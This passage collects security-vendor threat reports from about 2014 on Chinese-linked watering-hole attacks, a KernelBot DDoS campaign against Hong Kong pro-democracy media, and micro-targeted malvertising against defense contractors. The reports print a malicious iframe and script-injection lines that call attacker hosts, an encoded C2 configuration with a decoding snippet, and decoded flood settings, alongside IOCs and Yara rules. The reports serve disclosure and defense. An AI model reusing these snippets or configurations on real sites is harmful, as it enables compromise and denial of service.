threat actor-controlled IP address that dropped a Poison Ivy remote access tool (RAT) onto victims’
systems.
FireEye has not yet attributed this activity though we have identified links to the Sunshop Digital
Quartermaster, a collective of malware authors that supports multiple China-based advanced persistent
threat (APT) groups.
FireEye previously established detection measures for this threat activity, ensuring
our clients were prepared for these intrusion attempts well in advance of threat actor implementation.
Activity Overview:
On September 24, FireEye observed SWCs, likely conducted by a unitary threat group based on shared
infrastructure and tools, on at least three different websites: an international non-profit organization that
focuses on environmental advocacy, and two different NGOs that promote democracy and human rights.
The group was able to compromise these websites and insert malicious iframes.
Figure 1 displays one of
the iframes.
The threat group obfuscated the iframe on two of the compromised websites.
<div class=”views-field views-field-body”>  <div class=”field-
content”><p><iframe height=”0″
src=”http://103.27.108.45/img/js.php” width=”0″></iframe></p>
Figure 1: The iframe that directed website visitors to a threat actor-controlled IP address
The iframes on these websites directed visitors to Java exploits hosted at 103.27.108.45.
In turn, these
exploits downloaded and decoded a payload hosted at: hxxp://103.27.108.45/img/js.php.
A GET request
to this URI returned the following content:
<applet code=”NvTest.class”,height=”200″ width=”200″>
.<param name=”bin” value=’4D5A90……’
Figure 2: The encoded payload (snipped for brevity)
The ‘bin’ param shown in Figure 2 is decoded from ASCII into hex by the Java exploit.
Once decoded,
FireEye identified the payload as a Poison Ivy variant.
It had the following properties:
MD5            118fa558a6b5020b078739ef7bdac3a1
Size           25608 bytes
Compile Time         2014 09 15 08:21:23
Import Hash          09d0478591d4f788cb3e5ea416c25237
The Poison Ivy variant was also code signed with the below certificate:
SHA1               47:8C:E3:D6:CC:17:60:D3:27:14:6A:36:C9:88:77:4D:27:83:6A:D4
MD5                 82B582589D4A59BE0720F088ACAC67A3
Serial Number             581AE6B6ABAFD73AC85B1AEFBDB2555F
Common Name                zilliontek Co.,Ltd
Organization          zilliontek Co.,Ltd
Country              KR
State/Province         Gyeonggi-do
City               Suwon-si
Issue Date           Jan 12 00:00:00 2013 GMT
Expiration Date           Feb 20 23:59:59 2015 GMT
The backdoor also contained the below versioning info embedded in the RT_VERSION of one of the PE
resources:
LegalCopyright: Copyright 2012 Google Inc. All rights reserved.
InternalName: chrome_exe
ProcuctShortName: Chrome
FileVersion: 34.0.1847.131
CompanyName: Google Inc.
OrginaLFilename: chrome.exe
LegalTrademarks:
ProductName: Google Chrome
ComparyShortName: Google
LastChange: 265687
FileDescription: Google Chrome
Offcial Build: 1
PriductVersion: 34.0.1847.131
Translation: 0×0409 0x04b0
This versioning info attempted to masquerade as a Google Chrome file.
However, the malware author
misspelled multiple words when attempting to put in versioning information for this particular build.
The Poison Ivy implant had the following configuration properties:
C2: quakegoogle.servequake.com, Port: 80
Password: qeTGd3485fF
Mutex: )!VoqA.I4
The C2 domain quakegoogle.servequake[.
]com resolved to 115.126.62.100 at the time of the SWCs.
Other
domains resolving to the same IP include the following:
assign.ddnsking.com
quakegoogle.servequake.com
picsgoogle.servepics.com
Figure 3: Domains observed resolving to 115.126.62.100
Between August 30, 2014 and September 16, 2014 we also observed SOGU (aka Kaba) callback traffic sent
to assign.ddnsking.com over port 443.
Links to the Sunshop Digital Quartermaster
The Poison Ivy backdoor also had a RT_MANIFEST PE resource with a SHA256 fingerprint of
82a98c88d3dd57a6ebc0fe7167a86875ed52ebddc6374ad640407efec01b1393.
This same RT_MANIFEST resource was documented in our previous Sunshop Digital Quartermaster
report.
FireEye previously identified this specific RT_MANIFEST as the ‘Sunshop Manifest,’ and we have
observed this same manifest resource used in 86 other samples.
As we stated in the Quartermaster report,
we believe this shared resource is an artifact of a builder toolkit made available to a number of China-
based APT groups.
Conclusion
This activity represents a new SWC campaign.
We suspect threat actors are leveraging their access to
compromised websites belonging to NGOs and non-profits to target other organizations in the same
industries.
These websites are often visited by organization employees and other organizations in the same
industries, allowing threat actors to move laterally within already compromised networks or gain access to
new networks.
While FireEye has not attributed this activity to a specific threat group, we frequently
observe China-based threat actors target non-profits and NGOs, and we suspect that they seek to monitor
activity within their borders that may lead to domestic unrest or embarrass the Chinese government.
For
example, in 2013, FireEye observed China-based threat actors steal grant applications and activity reports
specifically related to an international NGO’s China-based activities.
We suspects threat actors sought to
monitor these programs and involved individuals.
The three organizations whose websites are hosting the
malicious iframes have China-based operations.
FireEye is releasing information on this campaign to allow organizations to investigate and prepare for
this activity in their networks.
We believe non-profits and NGOs remain at elevated risk of intrusion and
should be especially wary of attempts to compromise their networks using SWC.
Threat actors may use
SWCs to achieve this goal, but FireEye does not discount the possibility that threat actors will use other
means at their disposal, including phishing.
Based on past threat actor activity in this industry, FireEye
expects threat actors are motivated to steal programmatic data and monitor organizations’ programs in
specific countries.
If China-based threat actors are behind the observed campaign, FireEye expects that
organizations with operations in China are high-priority targets.
FireEye currently has detection measures
in place that should allow users of FireEye products to detect this SWC activity.
It is also likely that other
industries or organizations were affected by this SWC activity, since these sites are public facing and
frequently visited.
Special thanks to Google’s Billy Leonard for providing additional information and research.
Thanks to the following authors for their contributions: Mike Oppenheim, Ned Moran, and Steve Stone.
This entry was posted in Threat Intelligence, Threat Research by Sarah Engle and Ben Withnell.
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Operation Poisoned Handover: Unveiling Ties Between APT Activity
in Hong Kong’s Pro-Democracy Movement
As the pro-democracy movement in Hong Kong has continued, we’ve been watching for indications of
confrontation taking place in cyberspace.
Protests began in September and have continued to escalate.
In recent weeks, attackers have launched a series of Distributed Denial of Service attacks (DDoS) against
websites promoting democracy in Hong Kong.
According to the Wall Street Journal, websites belonging to
Next Media’s Apple Daily publication have suffered from an ongoing DDoS attack that “brought down its
email system for hours”.
According to other reports, Next Media’s network has suffered a “total failure” as
a result of these attacks.
Additionally, at least one member of the popular online forum HKGolden was
arrested for posting messages encouraging support for the OccupyCentral Pro Democracy movement.
The use of DDoS attacks as a political tool during times of conflict is not new; patriotic hacktivist groups
frequently use them as a means to stifle political activity of which they disapprove.
The question of state
sponsorship (or at least tacit approval) in online crackdowns is often up for debate and ambiguous from a
technical evidence and tradecraft perspective.
In this case, however, we’ve discovered an overlap in the tools and infrastructure used by China-based
advanced persistent threat (APT) actors and the DDoS attack activity.
We believe that these DDoS attacks
are linked to previously observed APT activity, including Operation Poisoned Hurricane.
This correlation
sheds light on the potential relationships, symbiosis and tool sharing between patriotic hacker activities
designed to disrupt anti-government activists in China, and the APT activity we consistently see that is
more IP theft and espionage-focused.
Ongoing DDoS Attacks Target the Pro-Democracy Movement
FireEye has identified a number of binaries coded to receive instructions from a set of command and
control (C2) servers instructing participating bots to attack Next Media-owned websites and the
HKGolden forum.
Next Media is a large media company in Hong Kong and the HkGolden forum has been
used as a platform to organize pro-democracy protests.
Each sample we identified is signed with digital
certificates that have also been used by APT actors to sign binaries in previous intrusion operations:
These binaries are W32 Cabinet self-extracting files that drop a variant of an older DDoS tool known as
KernelBot .
All of the samples we identified have the “NewVersion” value of 20140926.
Structurally, all of
these samples are similar in that they drop three files:
•          ctfmon.exe-a legitimate, signed copy of the Pidgin IM client
(md5 hash = 1685f978149d7ba8e039af9a4d5803c7)
•          libssp-0.dll–malware DLL which is side-loaded by ctfmon.exe
to decode and launch KernelBot.
Most versions of this dll are also
signed by either the QTI or CallTogether certificate.
•          readme.txt – a binary file which contains the XOR-encoded
KernelBot DLL as well as C2 destination information (most have
md5 hash of b5ac964a74091d54e091e68cecd5b532)
The KernelBot implants receive targeting instructions from C2 servers hard-coded directly into the
sample.
For example, c3d6450075d618b1edba17ee723eb3ca drops a KernelBot variant that connects to
both www.sapporo-digital-photoclub[.
]com and wakayamasatei[.]com.
The full list of C2 servers we
identified is as follows:
sapporo-digital-photoclub[.
]com
wakayamasatei[.
]com
tommo[.
]jp
mizma.co[.
]jp
sp.you-maga[.
]com
nitori-tour[.
]com
ninekobe[.
]com
shinzenho[.
]jp
wizapply[.
]com
www.credo-biz[.
]com
On Oct. 21, the control server at wakayamasatei[.
]com responded with the following encoded
configuration file:
@$@cWFPWERPRnlPXl5DRE13JyBjWXhPWkVYXnleS15PFxonIGNZbkVdRGxDRk
94X0QaFxonIGlHTmNuGhcbJyBuRV1EbENGT3hfRH9YRhoXQl5eWhAFBRsaBBo
EGwQbHxsFGwRPUk8nIHF/Wk5LXk95T1hcT1h3JyBkT118T1hZQ0VEFxgaGx4
aExgcJyB/Wk5LXk9sQ0ZPf1hGF0JeXloQBQUbGgQaBBsEGx8bBRsET1JPJyBx
bm5leXViRVleeV5LXkNZXkNJWXcnIGlFX0Ref1hGFycgfkNHT1gXGCcgcW5uZ
Xl1eUlYQ1pebEZFRU53JyBjWXlJWENaXmxGRUVOFxsnIGlHTmNuFxsYGScgeU
lYQ1pebEZFRU5uZHkXJyB5SVhDWl5sRkVFTn9YRhdCXl5aEAUFRFJLWkMES1p
aRk9OS0NGUwRJRUcEQkEFJyB5SVhDWl5sRkVFTnpFWF4XEhonIGNZbU9ef1hG
bENGTxcbJyBjWXlPRE56S0lBT14XGicgfkJYT0tOZkVFWn5DR08XHycgfkJYT
0tOaUVfRF4XGxonIH5DR09YFxkcGicgY1l+Q0dPWBcbJyBxbm5leXV5SVhDWl
5sRkVFTnVrG3cnIGNZeUlYQ1pebEZFRU4XGicgaUdOY24XGycgeUlYQ1pebEZ
FRU5uZHkXGxoEGgQbBBsfGycgeUlYQ1pebEZFRU5/WEYXGxoEGgQbBBsfGwUb
BEJeR0YnIHlJWENaXmxGRUVOekVYXhcSGicgY1ltT15/WEZsQ0ZPFxsnIGNZe
U9ETnpLSUFPXhcbJyB+QlhPS05mRUVafkNHTxcbJyB+QlhPS05pRV9EXhcbJy
B+Q0dPWBcYGicgY1l+Q0dPWBcbJyBxbm5leXV/TlpsRkVFTncnIGNZf05abEZ
FRU4XGicgaUdOY24XGycgf05abEZFRU5uZHkXGxoEGgQbBBsfGycgfkJYT0tO
aUVfRF4XGycgfkNHT1gXGBonIGNZfkNHT1gXGycgcW5uZXl1f05abEZFRU51a
xt3JyBjWX9OWmxGRUVOFxonIGlHTmNuFxsnIH9OWmxGRUVObmR5FxsaBBoEGw
QbHxsnIH5CWE9LTmlFX0ReFxsnIH5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV
5dXlTRGxGRUVOdycgY1l5U0RsRkVFThcaJyBpR05jbhcbJyB5U0RsRkVFTm5k
eRcbGgQaBBsEGx8bJyB5U0RsRkVFTnpFWF4XEhonIH5CWE9LTmlFX0ReFxsnI
H5DR09YFxgaJyBjWX5DR09YFxsnIHFubmV5dX5JWmxGRUVOdycgY1l+SVpsRk
VFThcaJyBpR05jbhcbJyB+SVpsRkVFTm5keRcbGgQaBBsEGx8bJyB+SVpsRkV
FTnpFWF4XEhonIGNZeU9ETnpLSUFPXhcbJyB+QlhPS05pRV9EXhcbJyB+Q0dP
WBcYGicgY1l+Q0dPWBcbJyBxbm5leXV+SVpsRkVFTnVrG3cnIGNZfklabEZFR
U4XGicgaUdOY24XGycgfklabEZFRU5uZHkXGxoEGgQbBBsfGycgfklabEZFRU
56RVheFxIaJyBjWXlPRE56S0lBT14XGycgfkJYT0tOaUVfRF4XHCcgfkNHT1g
XGBonIGNZfkNHT1gXGycg@$@
This configuration file can be decoded by stripping the leading and trailing @$@ characters.
At this point,
a simple base64 and XOR decode will reveal the plaintext configuration.
The following snippet of python
code can be used to decode this command:
b64encoded = request.content.rstrip('@$@').lstrip('@$@')
b64decoded = b64encoded.decode("base64")
command = ""
for c in b64decoded:
x = ord(c)
x = x ^ XOR_key
command += chr(x)
FireEye has observed two different single-byte XOR keys used to encode configuration files issued by the
DDOS C2 servers in this campaign.
The two different keys are 0x2A or 0x7E.
The encoded configuration
file shown above decodes to:
[KernelSetting]
IsReportState=0
IsDownFileRun0=0
CmdID0=1
DownFileRunUrl0=http://10.0.1.151/1.exe
[UpdateServer]
NewVersion=20140926
UpdateFileUrl=http://10.0.1.151/1.exe
[DDOS_HostStatistics]
CountUrl=
Timer=2
[DDOS_ScriptFlood]
IsScriptFlood=1
CmdID=123
ScriptFloodDNS=
ScriptFloodUrl=http://nxapi.appledaily.com.hk/
ScriptFloodPort=80
IsGetUrlFile=1
IsSendPacket=0
ThreadLoopTime=5
ThreadCount=10
Timer=360
IsTimer=1
[DDOS_ScriptFlood_A1]
IsScriptFlood=0
CmdID=1
ScriptFloodDNS=10.0.1.151
ScriptFloodUrl=10.0.1.151/1.html
ScriptFloodPort=80
IsGetUrlFile=1
IsSendPacket=1
ThreadLoopTime=1
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_UdpFlood]
IsUdpFlood=0
CmdID=1
UdpFloodDNS=10.0.1.151
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_UdpFlood_A1]
IsUdpFlood=0
CmdID=1
UdpFloodDNS=10.0.1.151
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_SynFlood]
IsSynFlood=0
CmdID=1
SynFloodDNS=10.0.1.151
SynFloodPort=80
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_TcpFlood]
IsTcpFlood=0
CmdID=1
TcpFloodDNS=10.0.1.151
TcpFloodPort=80
IsSendPacket=1
ThreadCount=1
Timer=20
IsTimer=1
[DDOS_TcpFlood_A1]
IsTcpFlood=0
CmdID=1
TcpFloodDNS=10.0.1.151
TcpFloodPort=80
IsSendPacket=1
ThreadCount=6
Timer=20
IsTimer=1
During the course of our research, we’ve observed more than 30 different unique configuration files issued
by the C2 servers listed above.
These configurations issued commands to attack the following domains and
IPs:
nxapi.appledaily.com[.
]hk
202.85.162.90
58.64.139.10
202.85.162.97
202.85.162.81
198.41.222.6
202.85.162.101
202.85.162.95
202.85.162.180
202.85.162.140
202.85.162.130
124.217.214.149
All of the above IPs host Next Media or Apple daily websites, with the exception of 58.64.139.10 and
124.217.214.149.
The IP 58.64.139.10 has hosted hkgolden[.
]com – the domain for the HKGolden forum
mentioned above.
For approximately 14 hours between October 23rd and 24th, the attackers pushed a configuration update
to four controls servers that instructed bots under their control to flood 124.217.214.149 with UDP traffic.
The IP 124.217.214.149 hosted the attacker controlled domain p.java-sec[.
]com.
On Oct. 23, 2014, two of the active controls began instructing participating bots to cease attacks.
By Oct.
24, 2014, all five of the known active control servers were issuing commands to cease the attacks.
It should come as no surprise that hkgolden[.
]com, nextmedia[.
]com, and appledaily.com[.
]hk websites
are now or previously have been blocked by the Great Firewall of China – indicating that the PRC has
found the content hosted on these sites objectionable.
Links to Previous Activity
The most direct connection between these DDoS attacks and previous APT activity is the use of the QTI
International and CallTogether code signing certificates, which we have seen in malware attributed to APT
activity.
The QTI International digital certificate has been previously used to sign binaries used in APT activity
including Operation Poisoned Hurricane.
Specifically, 17bc9d2a640da75db6cbb66e5898feb1 is a PlugX
variant signed by the QTI International certificate.
This PlugX variant connected to a Google Code project
at code.google[.
]com/p/udom/, where it decoded a command that configured its C2 server.
The sample 0b54ae49fd5a841970b98a078968cb6b was signed with the QTI International certificate as
well.
This sample was first observed during a drive-by attack in June 2014, and was downloaded from
java-se[.]com/jp.jpg.
This sample is detected as Backdoor.APT.Preshin and connected to luxscena[.
]com
for C2.
The QTI International certificate was also used to sign e2a4b96cce9de4fb126cfd5f5c73c3ed.
We detect
this payload as Backdoor.APT.PISCES and it used hk.java-se[.
]com for C2.
The java-se[.
]com website was
previously used in other attacks targeting the pro-democracy movement in Hong Kong.
We first observed
the presence of malicious javascript inserted into Hong Kong Association for Democracy and People’s
Livelihood on June 26, 2014, which appeared as the following:
<a href="http://www.adpl.org.hk/?p=2680" title="抗議九巴加價要求凍結加價、改善服務
<script language=javascript src=http://java-se.com/o.js></script>">
More recently, as noted by Claudio Guarnieri, the website of the Democratic Party of Hong Kong was
seen hosting a redirect to the same malicious javascript.
The CallTogether certificate has been used to sign ecf21054ab515946a812d1aa5c408ca5.
We also detect
this payload as Backdoor.APT.PISCES and observed it connect to u.java-se[.
]com.
Both of these certificates are valid but can be detected and blocked via the following Yara signatures:
rule callTogether_certificate
{
meta:
author = "Fireeye Labs"
version = "1.0"
reference_hash = "d08e038d318b94764d199d7a85047637"
description = “detects binaries signed with the CallTogether certificate”
strings:
$serial = {452156C3B3FB0176365BDB5B7715BC4C}
$o = "CallTogether, Inc."
condition:
$serial and $o
}
rule qti_certificate
{
meta:
author = "Fireeye Labs"
reference_hash = "cfa3e3471430a0096a4e7ea2e3da6195"
description = "detects binaries signed with the QTI International Inc
certificate"
strings:
$cn = "QTI International Inc"
$serial = { 2e df b9 fd cf a0 0c cb 5a b0 09 ee 3a db 97 b9 }
condition:
$cn and $serial
}
These ongoing DDoS attacks and previous APT intrusion activity both target the hkgolden[.
]com website.
As noted above, this site has been targeted with a DDoS attack by a KernelBot network.
We also found that
the hkgolden[.
]com website was compromised on Sept. 5, 2014 and had a redirect to a malicious javascript
again hosted at another jave-se[.
]com host, which appeared as follows:
document.write("<script language=javascript src=http://jre76.java-
se.com/js/rss.js></script>
Finally, as noted above the IP 124.217.214.149 was seen hosting the domain p.java-sec[.
]com between Oct.
25, 2014 and Oct. 27, 2014.
As Brandon Dixon noted here, the java-sec[.
]com domain is linked to the java-
se[.
]com by shared hosting history at the following IP address:
124.248.237.26
223.29.248.9
211.233.89.182
112.175.143.2
112.175.143.9
It is unclear why these actors would attack an IP address they were actively using.
It’s possible that the
attackers wanted to test their botnet’s capability by attacking an IP they were using to gather statistics on
the size of the attack.
It is also possible that the attackers simply made a mistake and accidentally issued
commands to attack their own infrastructure.
On Oct. 24, 2014, after attacking their own infrastructure,
the attackers issued new instructions to their botnet that ceased all attacks.
Conclusion
While not conclusive, the evidence presented above shows a link between confirmed APT
activity and ongoing DDoS attacks that appear to be designed to silence the Pro Democracy
movement in Hong Kong.
The evidence does not conclusively prove that the same actors responsible
for the DDoS attacks are also behind the observed intrusion activity discussed above – such as Operation
Poisoned Hurricane.
Rather, the evidence may indicate that a common quartermaster supports
both the DDoS attacks and ongoing intrusion activity.
In either scenario, there is a clear connection between the intrusion activity documented in Operation
Poisoned Hurricane and the DDOS attacks documented here.
While the tactics of these activities are very
different from a technical perspective, each supports distinct political objectives.
Operation Poisoned
Hurricane’s objective appeared to have in part been IP theft possibly for economic gain or other
competitive advantages.
In the DDOS attacks, the objective was to silence free speech and suppress the
pro democracy movement in Hong Kong.
The Chinese government is the entity most likely to be
interested in achieving both of these objectives.
APPENDIX
MD5s
c3d6450075d618b1edba17ee723eb3ca
d08e038d318b94764d199d7a85047637
84bd0809b1dbc2dc86f30d30faaa7e4e
39bb90140fc0101f49377b6c60076f9d
caa5529010c17b969da01ade084794c6
17bc9d2a640da75db6cbb66e5898feb1
0b54ae49fd5a841970b98a078968cb6b
e2a4b96cce9de4fb126cfd5f5c73c3ed
ecf21054ab515946a812d1aa5c408ca5
HOSTNAMES
tommo[.
]jp
mizma.co[.
]jp
sp.you-maga[.
]com
nitori-tour[.
]com
ninekobe[.
]com
shinzenho[.
]jp
wizapply[.
]com
www.credo-biz[.
]com
www.sapporo-digital-photoclub[.
]com
wakayamasatei[.
]com
luxscena[.
]com
java-se[.
]com
hk.java-se[.
]com
u.java-se[.
]com
jre76.java-se[.
]com
p.java-sec[.
]com
This entry was posted in Threat Intelligence, Threat Research and tagged advanced malware,
Cybersecurity, malware, zero-day by Ned Moran, Mike Oppenheim and Mike Scott.
Bookmark the
permalink.
DETECTION | PREVENTION | INTELLIGENCE
Invincea White Paper
“Micro-Targeted Malvertising via Real-time Ad Bidding”
UPDATED: Includes New CryptoWall Malvertising Campaign
Release date: October 27, 2014
Invincea White Paper
Invincea, Inc.
Invincea White Paper               1
Table of Contents
Executive Summary ............................................................................................................... 2
Introduction .......................................................................................................................... 3
Operation DeathClick: Targeting the US Industrial Base ...................................................................4
Summary for Incident at Fleaflicker.com .........................................................................................4
Summary for Incident at Gpokr.com ...............................................................................................9
Summary for Webmail.earthlink.net ............................................................................................. 11
Summary of Incidents in Operation DeathClick ............................................................................. 13
Real-Time Bidding Networks: How it works .......................................................................... 13
Malvertisers have Weaponized RTB ............................................................................................. 16
Competitive Service Offerings for RTB .......................................................................................... 16
Major Players in RTB .................................................................................................................... 20
How Malvertisers Get $$ to Bid on RTB ......................................................................................... 21
Where Malvertisers Host Exploits ................................................................................................. 22
Real World Examples of RTB Malvertising Captured by Invincea .................................................... 23
Ransomware Campaign via Malvertising ............................................................................. 26
Analysis of CryptoWall Malvertising Infections .............................................................................. 27
Central Hosting of Clean Content ......................................................................................... 30
How to Protect Yourself from Micro-targeted Malvertising ................................................. 31
Release Notes...................................................................................................................... 32
Invincea, Inc.                                                                                    Release Date: 10.27.2014
Invincea White Paper       2
Executive Summary
Most targeted attacks against organizations originate as spear-phish campaigns or watering hole style
web driveby attacks.
Within the last six months, Invincea has discovered and stopped targeted
malvertizing attacks against specific companies -- particularly those in the Defense Industrial Base.
The
combination of traditional cyber crime methods (malvertising) with targeted attacks against Defense
industrials for theft of IP represents another development in the on-going blending of techniques from
cyber crime and advanced threat actors with nation state agendas.
We are tracking an on-going campaign
against US Defense companies under the code name Operation DeathClick.
Traditional malvertizing has been an effective but indiscriminate method cyber crime gangs use to
compromise endpoints to perpetrate ad fraud, identity fraud, and banking credential theft.
In this new
targeted variation of malvertizing, the perpetrators are attacking specific organizations by leveraging real-
time ad bidding networks and micro-targeting techniques developed over the last decade in online
advertising.
The objective of these micro-targeted attacks against the Defense sector is likely theft of
Intellectual Property more than ad fraud and indicates motive and sophistication characteristic of
advanced threat actors.
Since these attacks were blocked by Invincea prior to compromise of the machine
or network, we cannot confirm the specific IP the perpetrators are after – only the Tactics, Techniques,
and Protocols (TTPs) used which we describe herein, similar to methods used to provide backdoor access
and command and control over compromised networks.
While we discovered these attacks across multiple Defense companies, we expect it will not be long, if
not already, before other highly targeted segments including Federal, Financial Services, Manufacturing,
and HealthCare are victimized with the same micro-targeted malvertising.
The campaign described here
does not represent a single flaw, 0-day, or unpatched bug, but rather a significant development in the
adversary’s capabilities and strategy to leverage legitimate online advertising platforms on well-known ad
supported websites via a technique called Real-Time Ad Bidding.
In other words, this problem will not be
patched on Tuesday.
UPDATE: We have updated this document to include a new section on a campaign of distributing
CryptoWall ransomware via malvertising.
While the attack vector is the same, we believe this to be
motivated by cybercrime rather than theft of IP from Defense companies.
Invincea, Inc.                                                             Release Date: 10.27.2014
Invincea White Paper       3
Introduction
Malvertising has seen meteoric rise in 2014.
Threat actors create a corporate front, advertise on
commonly visited sites, then later switch out the landing pages for their ads to pages that host exploit
kits, or simply create a temporary redirection from their usual content to the malicious landing page.
These exploit kits are hosted on compromised web servers across the world.
In other words, they leverage
legitimate ad-supported popular websites together with compromised websites for hosting exploit
landing pages, defeating black-listing techniques.
The lifetime of these ads and landing pages are
measured in hours.
In the campaign described here, Operation DeathClick, traditional malvertising has been armed with a
micro-targeting system using IP address ranges, geographically narrowed down to zip codes, and interests
of the user (recorded in cookies) to target specific companies, company types, and user
interests/preferences.
They are employing the tactics of real-time ad bidding to guarantee malicious ad
delivery to intended targets of the campaign – building on a decade of work in real-time analytics for
online ad placement, but for nefarious purposes.
The threat actors redirect their ads for just minutes at a time and then abandon their exploit kit pages
forever.
This means that list-based threat intelligence feeds are rendered ineffective.
The domains used
do not appear in any proxy blacklist, and the malware droppers delivered by the exploit pages always
employ different signatures, evading traditional network and endpoint detection technology.
Ad delivery networks today are not incentivized to address the problem in a credible manner as they
derive revenue from the criminal enterprise, while not being held accountable.
Turning a blind eye to the
problem is rewarded economically.
Meanwhile the perpetrators are able to use traditional malvertising
and ad fraud bots to fund the criminal enterprise.
Without cooperation of ad networks to vet the advertisers working through front companies, this attack
vector will go unchecked.
And now, with the advent of real-time ad bidding, these threat actors have
weaponized ad delivery networks to target victims based on:
   User-Agent strings (versions of flash, OS, java and browser)
   Interest-related content (click bait articles, industry specific software or hardware, like medical
supplies, radar mapping software, ammunition sales, stocks forums)
   Advertising Profiles derived from cookies (someone with specific tastes, may shop for shoes,
handbags, cars, luxury vacations)
   Geographic region (malvertisers can target specific neighborhoods or states via geoip direct
advertising)
   Specific corporate IP ranges (targeted malvertising can target the public IP space of your network
or an Industrial Vertical)
Invincea, Inc.                                                           Release Date: 10.27.2014
Invincea White Paper       4
Real-time ad bidding allows advertisers, and by extension, adversaries, to micro-target ad delivery on an
extremely granular basis.
For example, oppressive regimes trying to gather intelligence on activist
protests can deliver ads to people getting email from within a specific locality where they are protesting.
Today, it is commonplace for micro-targeting techniques to be used as part of the toolset in legitimate
online advertising.
For instance, a defense contractor, trying to win a new omnibus contract, can deliver
targeted ads to online news sites frequented by Government program personnel.
The latest software
product release can be delivered to Windows users visiting PC Magazine’s website.
A local car dealership
can sense when someone is in the market for a new car and can deliver advertising to those users, based
solely on browsing history.
Now advanced threat actors are able to target an organization directly via micro-targeted malvertising,
based solely on their corporate network IP range.
Thus, it doesn’t matter where in the world you point
your web browser -- an online video poker room, a fantasy football club homepage, a Pakistani news
homepage, or even checking your own webmail at a trusted email provider.
Those ad windows can and
are being used to deliver malware if the bidding price is right.
Operation DeathClick: Targeting the US Industrial Base
Recently, multiple US Defense/Aerospace contractors were targeted by a malvertising campaign.
These
contractors had deployed world-class enterprise security defense in depth approaches to protect their
intellectual property.
They had next generation firewalls that relied on threat intelligence feeds to do
auto-blocking of known malicious sites.
They had malware interception technology that relied on known
bad hashes to prevent malicious downloads.
The multiple proxies in place subscribed to real time feeds
of known bad URLs.
They deployed AV at the gateways and on the endpoints.
But in a two week period, these organizations were hit with dozens of micro-targeted malvertising attacks,
each of which would have provided a beachhead for the threat actors from which to compromise the
network, if successful.
In each instance, the attacks were carried out by targeting these Defense
contractors directly via real-time ad bidding.
Once targeted, an end user only needed to browse to any
website, anywhere in the world, which contained a DoubleClick ad-partner embedded window.
Invincea
stopped these attacks on the endpoints by containing the delivered exploits in secure virtual containers,
while producing the forensics that led to this discovery.
Next we go in some detail about example attacks perpetrated against the defense firms.
It is important to note that the websites we show next that served up targeted malvertising were victims
of malvertising campaigns with no knowledge of the malicious ads they were serving up.
These malicious
ads were served up by 3rd party networks, who are unwittingly sourcing malicious content.
As we will
discuss later, the 3rd party ad networks themselves are falling victim to malicious content campaigns.
Summary for Incident at Fleaflicker.com
Invincea, Inc.                                                            Release Date: 10.27.2014
Invincea White Paper       5
A user visited his online fantasy football league homepage at Fleaflicker.com.
As soon as the page loaded,
a malicious ad delivered a backdoor Trojan via a Java-based exploit.
Figure 1 shows a screenshot of the page that was visited.
You will notice the two inline ad placements
for DoubleClick ad delivery.
The malware delivered came from a compromised Polish website, and
would have installed a generic backdoor Trojan.
Figure 1: Fleaflicker.com website
Note the prominent ad placements by AdChoice, a DoubleClick affiliate.
Figure 2 shows an event tree of
the exploit and malware delivered from an ad by visiting Fleaflicker.com.
Invincea, Inc.                                                           Release Date: 10.27.2014
Invincea White Paper       6
Figure 2: Event tree for infection from Fleaflicker.com Incident
The event tree in Figure 2 taken from Invincea’s Threat Management Console shows the exploited Java
process dropped a file called fvJcrgR0.exe, and that it likely came from Pubmatic, an ad delivery network
that allows for real time bidding to deliver ads.
In this instance, the Pubmatic server redirected to a Web
server in Poland that dropped the malware.
The timeline below shows the exact times and URLs visited.
Figure 3: Timeline for Fleaflicker.com Incident
Note the number of re-directs from Fleaflicker.com to different outside properties in Figure 3.
Invincea, Inc.                                                            Release Date: 10.27.2014
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Figure 4: Process Launch for Malware fvJcrgR0.exe from Fleaflicker.com Incident
Invincea Threat Management provides a quick way to search for an MD5 hash on third party sites (see
Figure 4).
By clicking the VirusTotal link, the analyst will see the following VirusTotal report in Figure 5:
Figure 5: VirusTotal Report for Malware fvJcrgR0.exe from Fleaflicker.com Incident
Invincea, Inc.                                                             Release Date: 10.27.2014
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From the VirusTotal report in Figure 5, you will see that this malware is a Trojan backdoor that would likely
be used to download additional malware or to provide remote persistent access to the attacker.
Invincea, Inc.                                                             Release Date: 10.27.2014
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Summary for Incident at Gpokr.com
An employee at a defense contractor visited a free Texas Poker online game.
The Poker site had
advertisements on the page, one of which launched a similar attack as seen in before on other websites
visited by employees at this firm.
Figure 6: Screenshot of Gpokr.com
It should be noted that Gpokr.com no longer appears to be serving advertisements from their site.
At the
time of the incident, as seen in the logs below, an ad window was previously present.
In the event tree
shown in Figure 7, you will see that the winning bid redirected to a direct-to-IP site instead of a site via
domain name.
Also, above is the first indication of specific executable DLL files.
Searches for these
filenames returned zero results on VirusTotal.
Invincea, Inc.                                                            Release Date: 10.27.2014
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Figure 7: Event Tree for Gpokr.com
This event on September 14 (Figure 8) shows that delivery.first-impression.com redirected directly to an
IP address, not a domain name to deliver its malicious payload.
Note the multiple DLL files written to disk
and the spawning of rundll32.exe.
At this point, the Invincea-protected host recognized the unauthorized
process and reverted itself to a clean state.
Figure 8: Timeline View for Event 5 – Gpokr.com
Invincea, Inc.                                                            Release Date: 10.27.2014
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Summary for Webmail.earthlink.net
In another incident an employee checked their online Earthlink account.
When they replied to an email,
a new ad was loaded on a page that attempted to exploit Java.
This malvertising was from the same IP
address seen in other incidents.
Figure 9: Screenshot of Webmail.earthlink.net
You will notice the inline advertisements on this page in Figure 9.
The event tree in Figure 10 notes that
this was likely a spear-phish attack.
The timeline will show that when the user replied to an email, the ads
on the Earthlink page refreshed, dropping the exploit code via Java.
Invincea, Inc.                                                            Release Date: 10.27.2014
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Figure 10: Event Tree for Incident 6 Webmail.earthlink.net
Note in the timeline in Figure 11, how there was a 7 minute gap between the DoubleClick ad redirect and
the delivery.first-impression.com ad.
This is an indication that the page was refreshed or the ad was
refreshed on the page.
The same exploit IP address from the Gpokr event is present.
This event is the
oldest, happening on September 11.
Figure 11: Timeline for Incident 6 Webmail.earthlink.net
Invincea, Inc.                                                         Release Date: 10.27.2014
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Summary of Incidents in Operation DeathClick
The three examples above are samples of the more than two dozen micro-targeted attacks we have
witnessed and blocked as part of Operation DeathClick since mid-September.
Defense Industrial Base
